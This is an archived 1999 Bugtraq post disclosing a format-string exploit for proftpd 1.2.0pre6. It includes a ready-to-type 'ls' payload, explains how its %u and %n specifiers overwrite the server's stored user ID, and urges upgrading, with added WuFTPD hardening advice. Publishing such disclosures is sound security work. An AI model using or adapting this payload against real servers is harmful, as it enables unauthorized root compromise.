Bugtraq mailing list archives

Exploit for proftpd 1.2.0pre6


From: tymm () COE MISSOURI EDU (Tymm Twillman)
Date: Mon, 20 Sep 1999 14:31:51 -0500


Tested on Linux with standard RedHat 6.0 install (w/glibc 2.0
compatability), proftpd installed with configure/make/make install...

- ftp to host
- login (anonymous or no)

(this should be all on one line, no spaces)

ftp> ls aaaXXXX%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u
%u%u%u%u%u%u%u%u%u%653300u%n

(replace the X's with the characters with ascii values 0xdc,0x4f,0x07,0x08
consecutively)

Lots of other nasties can easily be easily done with this.  Since proftpd
will pass on user input data to snprintf, argument attacks are
easy.  The a's at the beginning are just for alignment, the %u's to skip
bytes in the stack, the %653300u is to increment the # of bytes that have
been "output", and the %n stores that value (whose LSBs have now flipped
over to 0) to the location pointed to by the current "argument" -- which
just happens to point right after the a's in this string.  The bytes that
replace the X's are the address where proftpd keeps the current user ID...

Logging in as an anonymous user, you are still restricted as to some of
the things you can do.  I intentionally haven't worked to make this
easier to exploit anonymously.  But with a local login, root compromise at
this point is trivial.  And it is very possible to modify this exploit for
other systems, and for nastier attacks.

Proftpd 1.2.0pre7 should be out sometime today (Sept 20); please UPGRADE
ASAP.  There are also other issues addressed in this release that may or
may not have serious security implications.  Location is
ftp://ftp.tos.net:/pub/proftpd/

-Tymm

P.S.   I've been proven wrong on a number of things with the WuFTPD
problem.  If my previous correction hasn't been posted (which at this
point I rather hope it hasn't), I'd like to apologize to the WuFTPD team
for indicating  that 2.6.0 is out (it's not; it's still in beta), and I
also hadn't taken compiler variable re-ordering into account, so this is
potentially easier to exploit than I'd believed.  I suggest people
removing any "message .message ..." lines from the ftpaccess file (and,
for this and other reasons, adding a path-filter for anonymous users;
there's a good example in the ftpaccess man page -- this will also help
protect against anonymous users creating filenames that start with a dash
and having them interpreted as arguments to tar, if tar-file-on-download
is enabled) until 2.6.0 is a final release.


Current thread: